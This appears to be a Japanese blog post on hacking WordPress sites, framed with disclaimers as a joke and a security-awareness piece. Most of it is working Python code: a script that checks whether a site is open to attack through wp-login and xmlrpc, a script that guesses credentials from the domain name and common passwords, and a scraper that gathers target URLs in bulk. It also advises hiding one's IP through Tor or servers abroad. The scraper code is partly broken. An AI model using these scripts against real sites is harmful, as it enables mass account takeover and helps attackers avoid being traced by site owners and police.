RESTfulなAPI。それは魔法です。
では最後の工程。何かWebAPIを作ってみる。前回の記事では、pythonでWebAPIのリクエストとレスポンスを作ったけど、今回は一般的なWebAPIの構造をやってみる。 究極魔法「RESTful」 何年か前からWebAPIは、***RESTful(REST)***という構造 …
なんとなく悪いことってのは、魅力的だったりする。
おそらく1970年代~1990年前半に生まれた人で、学生時代にPCを触っていた人ってアングラな世界に1度や2度触れたことがあるのではないでしょうか?特にエロ系ね。私も若かりし頃は、なんとかしてずりネタを確保しようと、意味も分かってなかった通信プロトコルのポートを開けるとか、誰かが公開している16進数コードを既存のソフトに当ててみたりした。そしてその時のアングラ行為が、私のコンピュータ知識を高めたものだ。
話は変わり、2021年現在でも、世の中のWebサイトの過半数はWordPress(wp)で作られているらしい。そしてそれらの多くのサイトで、セキュリティ対策がなされていないことを私は知っている。そこで、WPサイトをハック(クラック)する方法を紹介しよう。ちなみに、これはハッキング行為を通してセキュリティへの理解を向上させ、対策を促進するための情報なので、決して悪用はしないように。後述の通り場合によっては簡単に足が付きます。また今回の攻撃手段についてはギャグだと考えて欲しい。
最低限のセキュリティ対策はこの記事を参考。
攻撃対象のWPサイトに対していくつかの攻撃を加える場合、当然相手のサーバにアクセス元の情報が残ることになる。つまりあなたが自分の家や職場から攻撃を行った場合、被害者側が法的行動を行いアクセス元IPアドレスからあなたを特定することができます。これはネカフェや公共wifiスポットから行った場合も、監視カメラなどの情報から警察は容易にあなたを特定するでしょう。
そのため、送信元IPを偽装するために、世界中の踏み台プロキシサーバーを経由して攻撃対象のサーバーにアクセスする方法がある。有名なところでいうとtorプロキシとか。いわゆる世界中の何台もの踏み台サーバーを経ているため、送信元をたどるのに大きなコストがかかり特定が難しいという意味で隠ぺいできるってこと。これは注意が必要だけど、torはたどろうと思えばたどれるからね。多分だけど大きな事件を起こしてしまったときは、さすがにたどられて身元が割れる。torに関しての実装等の詳細は書かないでおく。ちなみに、西側諸国の司法の及ばない国を経由することで隠ぺいするっていうことも可能だ。
今回の攻撃方法が攻撃対象のWPサイトに有効なのかどうかをチェックする必要がある。簡単に対象サイトが攻撃に適しているか以下のスクリプトでチェックする。
import requests
ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36"
def get_request(url):
return requests.get(url, headers={'User-Agent': ua}, timeout=10)
def post_request(url):
return requests.post(url, headers={'User-Agent': ua}, timeout=10)
def is_wp(url):
res = get_request(f'{url}/wp-login.php')
if res.status_code < 400: return True
res = get_request(f'{url}')
if "wp-content" in res.text: return True
return False
def is_secured(url):
res = get_request(f'{url}/wp-login.php')
if res.status_code >= 400: return True
res = post_request(f'{url}/xmlrpc.php')
if res.status_code >= 400: return True
return False
def main(url):
if is_wp(url) is False:
print("WPサイトではありません")
return
if is_secured(url) is False:
print("このサイトは攻撃可能です。")
else:
print("攻撃不可")
if __name__ == "__main__":
url = "ここに攻撃先のトップURL"
main(url)
# >> このサイトは攻撃可能です。
basic認証なし、xmlrpcが有効になっているなど、つまり最低限のセキュリティ対策がなされていないWPサイトだってことを確認できる。こういうサイトの管理者はセキュリティに関するリテラシーが低く、簡単に推測できるユーザ―名、パスワード等を設定している可能性がある。
以下のようなスクリプトで、ユーザー名とパスワードを取得できるかもしれない。当然成功する可能性は低いが、前述の通り一般的なセキュリティ対策がなされていないサイトの場合、それなりに突破可能性はある。
ちなみにxmlrpcでは、ノーウェイトでログイン試行を1000回でも10000回でも可能だ。非同期でも実行可能なので攻撃対象のサーバーがダウンしない程度の間隔で試行できる。なお、「よく使われるパスワード」や「よく使われる組み合わせ」の作り方は紹介しない。ググればでてくる。また、総当たりは今回は考慮しない。
from wordpress_xmlrpc import Client, WordPressPost
from wordpress_xmlrpc.methods.users import GetUserInfo
def get_predict_usernames(url):
'''
ユーザー名はサイト名、すなわちドメインのトップレベルを除いたものである可能性が高い
また、サブドメのパターンやハイフンやアンダースコアのパターンもいくつか用意する
'''
ret = []
domain = "".join(url.split("/")[2].split(".")[:-1])
if domain == "": return ret
ret.append(domain)
ret.append(domain.replace(".", ""))
ret.append(domain.replace("_", ""))
ret.append(domain.replace("-", ""))
ret.append(domain.replace("_", "").replace("-", ""))
ret.append(domain.split(".")[-1])
return ret
def get_predict_password(username):
'''
1. セキュリティが甘いサイトは「よく使われるパスワード」である可能性が高い
2. usernameと同じ可能性が高い
3. 企業サイトの場合、usernameに設立月日などの数字が後ろについているなどのよく設定されるパスワードの組み合わせがある
'''
ret = []
ret.extend(["パスワードに使われているランキングのすべての文字列"])
ret.append(username)
ret.extend(["設立月日などの情報を自動でスクレイピングして組み合わせを追加"])
return ret
def main(url):
for username in get_predict_usernames(url):
for password in get_predict_password(username):
try:
wp = Client(f'{url}/xmlrpc.php', username, password)
res = wp.call(GetUserInfo())
print("ログインパスワードハック成功")
print(f'username: {username}')
print(f'password: {password}')
exit()
except Exception as e:
print(e)
if __name__ == "__main__":
url = "攻撃対象サイトのトップURL"
main(url)
# >> ログインパスワードハック成功
# >> username: xxxxxxx
# >> password: xxxxxxx
上記の方法だと、ログイン認証を突破できる可能性は低いんだよね。ただし、対象サイトが10,000個あればどれかをぶち破る可能性はあるよね。例えば求人サイトから会社URLを大量にスクレイピングしたり、ブログランキングサイトなどからサイトURL一覧を取得とか。10,000サイトくらい簡単に集められるだろう。
そこで、以下のようなスクレイピングスクリプトと「攻撃対象を選別する」のスクリプトを利用して脆弱なWPサイトのURL一覧をゲットすることもできる。(あくまでジョークね。絶対にやってはいけません。念のため非再帰的なコードにしておく)
import bs4
import requests
from urllib.parse import urlparse
ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36"
def get_request(url):
return requests.get(url, headers={'User-Agent': ua}, timeout=10)
def main(url):
soup = bs4.BeautifulSoup(response.text, 'html.parser')
# この例では1ページ内のURLのみスクレイプしている
site_urls = []
for a in soup.find_all('a'):
if a.get('href') is not None: site_urls.append(a['href'])
ex_site_url = []
# 外部サイトURLのみ抽出してトップページURLをセット
for href in site_urls:
parsed_url = urlparse(href)
if parsed_url.netloc not in href:
ex_site_url.append(f'{parsed_url.scheme}://{parsed_url.netloc}')
# 「攻撃対象を選別する」のスクリプトで攻撃対象を絞り込み(省略)
# とりあえずURLをファイルに書き込み
d = "\n".join(ex_site_url。。
with open('wp_site_url.txt', 'w') as f:
f.write(d)
if __name__ == "__main__":
url = "スクレイピング先のURL"
main(url)
このスクリプトも単純なものだけど、WPへのURLを大量にリンクしているようなサイトのsitemapを取得して全ページにかましてやると一気にURLが獲得できる。あ、実際にやってはいけませんよ。スクレイプ先のサーバーがダウンしたら実行した人間の責任になります。
そして大量のWPサイトURLに対して上記のログインパスワードハックのスクリプトを順次実行すると、数件のサイトが釣れる可能性がありますな。ハックしてしまうと、あとはWPにログインして何とでもできてしまう。こわや。。
他にもピンバックのDDos攻撃もあるけど、これはもうちょい迷惑系なので別記事にする。上記の方法は、ユーザー名、パスワードの推定を簡易にしているので、確率は低い。もっと効果的な推定方法があったりする。また、1つのサイトを集中攻撃する場合は、そのサイトの管理者の情報を集めたり、ある程度の総当たり試行も試せる。
私が見てきたWPサイトではかなり高い確率で、ユーザー名はサイト名、ドメイン名、会社名のいずれかだった。また、企業サイトであればユーザー名として使えるメールアドレスも推測可能だ。また、パスワードもWPがデフォルトで用意してくれる複雑なパスワードではなく、簡単に覚えられ、そして記号や大文字を含まない文字列にしていることが少なくないことにも気付いた。残念ながらこれらを推測するのはそこまで難しくなく、認証を突破される可能性もある。
あの、はっきり言っておくがこれらの行為をやってしまうと普通にお縄になるかもしれないので、ダメゼッタイですよ。せめて自分で用意した自宅サーバーのサンプルサイトに対して実行するなら誰にも迷惑はかからないけど、公開されているどこかのサーバーに対して実行するのは、たとえ自分のサイトであったとしてもやめた方がいい。(サーバ会社に迷惑がかかる)
重要なのはこんなことされないための対策をしっかりしましょうってこと。WPのセキュリティ対策を確認ください。
では最後の工程。何かWebAPIを作ってみる。前回の記事では、pythonでWebAPIのリクエストとレスポンスを作ったけど、今回は一般的なWebAPIの構造をやってみる。 究極魔法「RESTful」 何年か前からWebAPIは、***RESTful(REST)***という構造 …
WebAPIを理解する上で、前回の記事と前々回の記事で、通信、サーバー、Webサーバーなどの話を書いてきた。今回は最深部であるアプリケーションの話。 アプリケーションというと、スマホの「アプリ」を思い浮かべてしまう人もいるかもしれないけど、広い意味で「ある特定の機能や目的のために …